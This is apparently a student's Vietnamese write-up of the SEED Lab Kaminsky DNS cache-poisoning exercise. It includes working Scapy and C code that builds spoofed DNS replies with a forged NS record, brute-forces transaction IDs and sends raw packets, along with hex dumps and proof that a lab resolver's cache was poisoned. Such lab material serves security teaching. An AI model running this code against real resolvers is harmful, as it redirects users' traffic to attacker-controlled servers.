Lab Overview

Kỹ thuật tấn công DNS cache poisoning từ xa (không thể capture các gói tin) được gọi là tấn công Kaminsky.

Environment Setup

Sơ đồ mạng:

Mục tiêu chính của chúng ta là local DNS server.

Important

Mặc dù nằm cùng LAN với các host còn lại, chúng ta không thể thực hiện capture các gói tin ở trên attacker container để phục vụ cho việc tấn công (lấy transaction ID). Điều này giúp giả lập giống với tấn công Kaminsky.

Tất cả các cấu hình DNS còn lại đều giống với SEED Lab - Local DNS Attack.

How Kaminsky Attack Works

Trong task này, attacker sẽ gửi một gói tin DNS question đến local DNS server của nạn nhân (Apollo) nhằm khiến cho nó gửi đi các gói tin DNS question đến các DNS server khác, mà cụ thể là root DNS server, .com DNS server và example.com DNS server.

Trong trường hợp nameserver của domain example.com đã được cache bởi Apollo thì nó sẽ không gửi các truy vấn đến root server và .com DNS server. Minh họa bằng bước 1 trong hình sau:

Trong khi Apollo chờ gói tin DNS answer từ example.com DNS server, attacker có thể gửi gói tin DNS answer nhằm thêm một entry giả mạo vào DNS cache của Apollo.

Để tạo ra gói tin DNS answer hợp lệ, transaction ID trong gói tin cần phải giống với transaction ID của gói tin DNS question. Tuy nhiên, do attacker container không nằm cùng mạng với Apollo nên nó không thể lắng nghe được các gói tin DNS question. Hơn thế nữa, giá trị transaction ID trong gói tin DNS question thường được sinh ra ngẫu nhiên.

Hiển nhiên, attacker có thể thực hiện brute-force transaction ID do nó chỉ có 16 bit (tương ứng với số lần thử) trước khi Apollo nhận được gói tin DNS answer từ example.com DNS server.

Tuy nhiên, ý tưởng trên chưa xét đến việc Apollo lưu cache cho domain example.com. Khi đó, nếu có một gói tin DNS question được gửi từ attacker container, nó sẽ không gửi đi gói tin DNS question đến example.com DNS server mà trả về gói tin DNS answer có chứa record ở trong DNS cache ngay lập tức. Để làm giả gói tin DNS answer cho domain example.com, attacker cần phải chờ cho entry của nó trong DNS cache bị hết hạn và quá trình này có thể mất vài giờ hoặc vài ngày.

The Kaminsky Attack:

  1. Attacker gửi truy vấn đến Apollo nhằm phân giải một subdomain không tồn tại thuộc example.com chẳng hạn như twysw.example.com với twysw là ngẫu nhiên.
  2. Do không có entry liên quan đến twysw.example.com ở trong DNS cache, Apollo sẽ gửi gói tin DNS question đến example.com DNS server.
  3. Trong khi Apollo chờ phản hồi từ example.com DNS server, attacker liên tục gửi các gói tin DNS answer giả mạo với các transaction ID khác nhau. Trong gói tin DNS answer, attacker còn thêm vào một NS record1 giúp chỉ định ns.attacker32.com làm nameserver của domain example.com.
  4. Kể cả khi các gói tin DNS answer thất bại (có thể là do transaction ID không khớp hoặc đến Apollo trễ) thì cũng không vấn đề gì vì attacker sẽ lại gửi một gói tin DNS question với subdomain khác nhằm khiến cho Apollo gửi đi gói tin DNS question đến example.com DNS server.
  5. Nếu việc tấn công thành công, nameserver của example.com sẽ bị thay thế thành attacker nameserver (ns.attacker32.com).

Task 2: Construct DNS Request

Cần viết một chương trình để khiến cho local DNS server gửi gói tin DNS question đến nameserver của example.com.

Xây dựng script như sau:

from scapy.all import *
from scapy.layers.inet import IP, UDP
from scapy.layers.dns import DNS, DNSQR
 
DOMAIN_NAME = "www.example.com"
LOCAL_DNS_SERVER_IP = "10.9.0.53"
ATTACKER_CONTAINER_IP = "10.9.0.1"
 
ip = IP(dst=LOCAL_DNS_SERVER_IP, src=ATTACKER_CONTAINER_IP)
udp = UDP(dport=53, sport=random.randint(1024, 65535))
dnsqr = DNSQR(qname=DOMAIN_NAME)
dns = DNS(
    id=0xAAAA,
    qr=0,
    qdcount=1,
    ancount=0,
    nscount=0,
    arcount=0,
    qd=dnsqr,
)
pkt = ip / udp / dns
 
pkt.show()
send(pkt, verbose=0)

Gói tin gửi đi có dạng như sau:

###[ IP ]###
  version   = 4
  ihl       = None
  tos       = 0x0
  len       = None
  id        = 1
  flags     =
  frag      = 0
  ttl       = 64
  proto     = udp
  chksum    = None
  src       = 10.9.0.1
  dst       = 10.9.0.53
  \options   \
###[ UDP ]###
     sport     = 27352
     dport     = domain
     len       = None
     chksum    = None
###[ DNS ]###
        id        = 43690
        qr        = 0
        opcode    = QUERY
        aa        = 0
        tc        = 0
        rd        = 1
        ra        = 0
        z         = 0
        ad        = 0
        cd        = 0
        rcode     = ok
        qdcount   = 1
        ancount   = 0
        nscount   = 0
        arcount   = 0
        \qd        \
         |###[ DNS Question Record ]###
         |  qname     = 'www.example.com'
         |  qtype     = A
         |  qclass    = IN
        an        = None
        ns        = None
        ar        = None

Local DNS có gửi đi các gói tin DNS question:

DNS:  10.9.0.1 --> 10.9.0.53: 43690
DNS:  10.9.0.53 --> 192.42.93.30: 40792
DNS:  192.42.93.30 --> 10.9.0.53: 40792
DNS:  10.9.0.53 --> 199.43.133.53: 37300
DNS:  199.43.133.53 --> 10.9.0.53: 37300
Answer: 93.184.215.14
DNS:  10.9.0.53 --> 10.9.0.1: 43690
Answer: 93.184.215.14

Với 93.184.215.14 chính là địa chỉ IP của www.example.com.

Thử gửi gói tin DNS question với domain là www.example.com lần nữa thì không thấy local DNS server gửi gói tin DNS question:

DNS:  10.9.0.1 --> 10.9.0.53: 43690
DNS:  10.9.0.53 --> 10.9.0.1: 43690
Answer: 93.184.215.14

Thay đổi domain thành twysw.example.com (một domain không tồn tại) thì thấy có gói tin DNS question gửi đi:

DNS:  10.9.0.1 --> 10.9.0.53: 43690
DNS:  10.9.0.53 --> 199.43.133.53: 60046
DNS:  199.43.133.53 --> 10.9.0.53: 60046
DNS:  10.9.0.53 --> 10.9.0.1: 43690

Do domain twysw.example.com không tồn tại nên các gói tin DNS answer trả về không có chứa Answer Section.

Task 3: Spoof DNS Replies

Do chúng ta làm giả gói tin DNS answer từ nameserver của example.com, chúng ta cần phải biết địa chỉ IP của nó (chú ý rằng có nhiều nameserver của domain này).

Thử phân giải example.com thì thấy gói tin DNS answer từ .com DNS server có chứa các record sau:

192.41.162.30 --> 10.9.0.53: 29605
 
\qd        \
|###[ DNS Question Record ]###
|  qname     = 'example.com.'
|  qtype     = A
|  qclass    = IN
an        = None
\ns        \
|###[ DNS Resource Record ]###
|  rrname    = 'example.com.'
|  type      = NS
|  rclass    = IN
|  ttl       = 172800
|  rdlen     = None
|  rdata     = 'a.iana-servers.net.'
|###[ DNS Resource Record ]###
|  rrname    = 'example.com.'
|  type      = NS
|  rclass    = IN
|  ttl       = 172800
|  rdlen     = None
|  rdata     = 'b.iana-servers.net.'

Domain a.iana-servers.net được phân giải thành 199.43.135.53 còn b.iana-servers.net được phân giải thành 199.43.133.53. DNS cache còn có domain c.iana-servers.net:

root@827a19f91c97:/# cat /var/cache/bind/dump.db | grep iana-servers
example.com.            691083  NS      a.iana-servers.net.
                        691083  NS      b.iana-servers.net.
iana-servers.net.       606484  NS      a.iana-servers.net.
                        606484  NS      b.iana-servers.net.
                        606484  NS      c.iana-servers.net.
                                        20240531063320 20240510134736 1273 iana-servers.net.
a.iana-servers.net.     606483  A       199.43.135.53
                                        20240528024833 20240507025729 51759 iana-servers.net.
                                        20240530132535 20240509074735 1273 iana-servers.net.
b.iana-servers.net.     606483  A       199.43.133.53
                                        20240528043704 20240507114735 51759 iana-servers.net.
                                        20240529202738 20240509054735 1273 iana-servers.net.
c.iana-servers.net.     777483  A       199.43.134.53
                                        20240530120317 20240509094735 1273 iana-servers.net.

Viết script như sau:

from scapy.all import *
from scapy.layers.inet import IP, UDP
from scapy.layers.dns import DNS, DNSQR, DNSRR
 
DOMAIN = "twysw.example.com"
DOMAIN_NAME = "example.com"
LOCAL_DNS_SERVER_IP = "10.9.0.53"
LOCAL_DNS_SERVER_SRC_PORT = 33333
ATTACKER_NAMESERVER = "ns.attacker32.com"
ATTACKER_NAMESERVER_IP = "10.9.0.153"
EXAMPLE_NAMESERVER_IP = "199.43.135.53"
 
dnsqr = DNSQR(qname=DOMAIN)
dnsrr = DNSRR(rrname=DOMAIN, type="A", rdata=ATTACKER_NAMESERVER_IP, ttl=259200)
ns = DNSRR(rrname=DOMAIN_NAME, type="NS", rdata=ATTACKER_NAMESERVER, ttl=259200)
dns = DNS(
    id=0xAAAA,
    aa=1,
    rd=1,
    qr=1,
    qdcount=1,
    ancount=1,
    nscount=1,
    qd=dnsqr,
    an=dnsrr,
    ns=ns,
)
ip = IP(dst=LOCAL_DNS_SERVER_IP, src=EXAMPLE_NAMESERVER_IP)
udp = UDP(dport=LOCAL_DNS_SERVER_SRC_PORT, sport=53)
pkt = ip / udp / dns
 
pkt.show()
send(pkt, verbose=0)

Giải thích script trên:

  • Ta sẽ phân giải subdomain twysw.example.com thành địa chỉ IP của attacker container (10.9.0.1).
  • NS record sẽ chỉ định nameserver của domain example.comns.attacker32.com.
  • Gửi đến port 33333 của local DNS server vì ta đã gán cứng ở trong cấu hình (nhằm đơn giản hóa việc tấn công).

Gói tin DNS answer gửi đi có dạng như sau:

###[ IP ]###
  version   = 4
  ihl       = None
  tos       = 0x0
  len       = None
  id        = 1
  flags     =
  frag      = 0
  ttl       = 64
  proto     = udp
  chksum    = None
  src       = 199.43.135.53
  dst       = 10.9.0.53
  \options   \
###[ UDP ]###
     sport     = domain
     dport     = 33333
     len       = None
     chksum    = None
###[ DNS ]###
        id        = 43690
        qr        = 1
        opcode    = QUERY
        aa        = 1
        tc        = 0
        rd        = 1
        ra        = 0
        z         = 0
        ad        = 0
        cd        = 0
        rcode     = ok
        qdcount   = 1
        ancount   = 1
        nscount   = 1
        arcount   = 0
        \qd        \
         |###[ DNS Question Record ]###
         |  qname     = 'twysw.example.com'
         |  qtype     = A
         |  qclass    = IN
        \an        \
         |###[ DNS Resource Record ]###
         |  rrname    = 'twysw.example.com'
         |  type      = A
         |  rclass    = IN
         |  ttl       = 259200
         |  rdlen     = None
         |  rdata     = 10.9.0.153
        \ns        \
         |###[ DNS Resource Record ]###
         |  rrname    = 'example.com'
         |  type      = NS
         |  rclass    = IN
         |  ttl       = 259200
         |  rdlen     = None
         |  rdata     = 'ns.attacker32.com'
        ar        = None

Task 4: Launch the Kaminsky Attack

Để thực hiện tấn công Kaminsky, chúng ta cần phải gửi rất nhiều gói tin DNS answer trong thời gian ngắn. Scapy không thể đáp ứng được yêu cầu này và việc xây dựng gói tin DNS trong C cũng không dễ dàng. Do đó, ta sẽ sử dụng kết hợp Scapy và C. Cụ thể, ta sẽ dùng Scapy để tạo ra gói tin DNS và lưu vào một tập tin. Sau đó, ta nạp tập tin này vào C và thay đổi một số trường rồi gửi gói tin.

Generating DNS Templates

Sử dụng lại script của Task 2 Construct DNS Request để xây dựng gói tin DNS question và script của Task 3 Spoof DNS Replies để xây dựng gói tin DNS answer. Để ghi vào tập tin, ta dùng đoạn code sau:

with open("ip.bin", "wb") as f:
    f.write(bytes(pkt))

Hex dump của gói tin DNS question:

00000000: 4500 003f 0001 0000 4011 6666 0a09 0001  E..?....@.ff....
00000010: 0a09 0035 8235 0035 002b fe68 aaaa 0100  ...5.5.5.+.h....
00000020: 0001 0000 0000 0000 0574 7779 7377 0765  .........twysw.e
00000030: 7861 6d70 6c65 0363 6f6d 0000 0100 01    xample.com.....

Hex dump của gói tin DNS answer:

00000000: 4500 008a 0001 0000 4011 21c4 c72b 8735  E.......@.!..+.5
00000010: 0a09 0035 0035 8235 0076 cf74 aaaa 8500  ...5.5.5.v.t....
00000020: 0001 0001 0001 0000 0574 7779 7377 0765  .........twysw.e
00000030: 7861 6d70 6c65 0363 6f6d 0000 0100 0105  xample.com......
00000040: 7477 7973 7707 6578 616d 706c 6503 636f  twysw.example.co
00000050: 6d00 0001 0001 0003 f480 0004 0a09 0099  m...............
00000060: 0765 7861 6d70 6c65 0363 6f6d 0000 0200  .example.com....
00000070: 0100 03f4 8000 1302 6e73 0a61 7474 6163  ........ns.attac
00000080: 6b65 7233 3203 636f 6d00                 ker32.com.

Sending DNS Question

Nạp gói tin DNS question vào chương trình C:

// Load the DNS request packet from file
FILE *f_req = fopen("ip_req.bin", "rb");
if (!f_req)
{
	perror("Can't open 'ip_req.bin'");
	exit(1);
}
unsigned char ip_req[MAX_FILE_SIZE];
int ip_req_size = fread(ip_req, 1, MAX_FILE_SIZE, f_req);

Chúng ta sẽ cần phải sinh ra subdomain ngẫu nhiên mỗi lần gửi gói tin DNS question:

srand(time(NULL));
unsigned char a[26] = "abcdefghijklmnopqrstuvwxyz";
 
while (1)
{
	unsigned char name[6];
	name[5] = '\0';
	for (int k = 0; k < 5; k++)
		name[k] = a[rand() % 26];
 
	/* Send DNS question packet */
	
	/* Send spoofed DNS answer packet */
}

Ghi vào trường Name ở trong Question Section rồi gửi gói tin DNS question:

// Modify the name in the question field (offset=41)
memcpy(ip_req + 41, name, 5);
 
// Send request packet
send_dns_pkt(ip_req, ip_req_size);

Với 41 (0x29) là offset của chuỗi subdomain.

Hàm send_dns_pkt() có mã nguồn như sau:

void send_dns_pkt(unsigned char *buffer, int len)
{
	// Compute UDP checksum
	struct iphdr *iph = (struct iphdr *)buffer;
	unsigned short *ip_payload = (unsigned short *)(buffer + sizeof(struct iphdr));
	compute_udp_checksum(iph, ip_payload);
	
	// Send through layer 3 raw socket
	send_raw_packet(buffer, len);
}

Với hàm compute_udp_checksum() tham khảo từ How to Calculate IP/TCP/UDP Checksum (github.com).

Gói tin DNS question gửi đi có record như sau:

\qd        \
|###[ DNS Question Record ]###
|  qname     = 'sccwt.example.com.'
|  qtype     = A
|  qclass    = IN

Gói tin này là hợp lệ nên local DNS server gửi các gói tin DNS question đến các DNS server khác:

Sending DNS Answer

Nạp gói tin DNS answer vào chương trình C:

// Load the first DNS response packet from file
FILE *f_resp = fopen("ip_resp.bin", "rb");
if (!f_resp)
{
	perror("Can't open 'ip_resp.bin'");
	exit(1);
}
unsigned char ip_resp[MAX_FILE_SIZE];
int ip_resp_size = fread(ip_resp, 1, MAX_FILE_SIZE, f_resp);

Sử dụng vòng lặp để lặp qua các transaction ID từ 0 đến :

for (int txid = 0; txid < 2e16; txid++)
{
	unsigned short id = txid;
	unsigned short id_net_order = htons(id);
}

Các thông tin của gói tin DNS answer mà ta cần chỉnh sửa:

  • Transaction ID: ở offset 28 (0x1C).
  • Name ở trong Question Section: ở offset 41 (0x29).
  • Name ở trong Answer Section: ở offset 64 (0x40).
// Modify the transaction ID field (offset=28)
memcpy(ip_resp + 28, &id_net_order, 2);
 
// Modify the name in the question field (offset=41)
memcpy(ip_resp + 41, name, 5);
 
// Modify the name in the answer field (offset=64)
memcpy(ip_resp + 64, name, 5);

Note

Việc chỉnh sửa Name ở trong Question Section cho thấy ta giá trị của trường này trong gói tin DNS answer có thể không giống với giá trị ở trong gói tin DNS question.

Cũng sử dụng hàm send_dns_pkt để gửi gói tin:

// Send response packet
send_dns_pkt(ip_resp, ip_resp_size);

Compiling and Running the Program

Biên dịch và chạy như sau:

root@archlinux:/volumes# gcc -o attack.out attack.c
root@archlinux:/volumes# attack.out

Note

Có thể chạy chương trình nhiều lần và không nhất thiết phải xóa DNS cache của local DNS server trước khi chạy lại.

Task 5: Result Verification

Sau một vài lần chạy thì ta thấy rằng nameserver của example.com đã trỏ đến ns.attacker32.com:

root@827a19f91c97:/# rndc dumpdb -cache | grep example /var/cache/bind/dump.db
example.com.            777581  NS      ns.attacker32.com.
mhhvq.example.com.      863981  A       10.9.0.153

Kiểm tra traffic trong Wireshark thì ta tìm ra transaction ID của gói tin DNS question là 0xbc1d và chương trình của chúng ta có gửi gói tin DNS answer với transaction ID này:

Sau khi nhận được gói tin DNS answer, local DNS server trả lại cho attacker container gói tin sau:

Phân giải domain example.com ở trên user container sử dụng local DNS server:

root@7ec7a0d9048e:/# dig www.example.com
 
; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 2507
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
 
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: f16494c25d2c3629010000006643487ce1ce87723a3c964f (good)
;; QUESTION SECTION:
;www.example.com.               IN      A
 
;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.5
 
;; Query time: 0 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Tue May 14 11:18:20 UTC 2024
;; MSG SIZE  rcvd: 88

Phân giải trên user container sử dụng attacker nameserver:

root@7ec7a0d9048e:/# dig @ns.attacker32.com www.example.com
 
; <<>> DiG 9.16.1-Ubuntu <<>> @ns.attacker32.com www.example.com
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 21461
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
 
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 0cb66917693beeb7010000006643488aa7461fc0388cf241 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A
 
;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.5
 
;; Query time: 0 msec
;; SERVER: 10.9.0.153#53(10.9.0.153)
;; WHEN: Tue May 14 11:18:34 UTC 2024
;; MSG SIZE  rcvd: 88
list
from outgoing([[SEED Lab - Kaminsky Attack]])
sort file.ctime asc

Resources

Footnotes

  1. xem thêm NS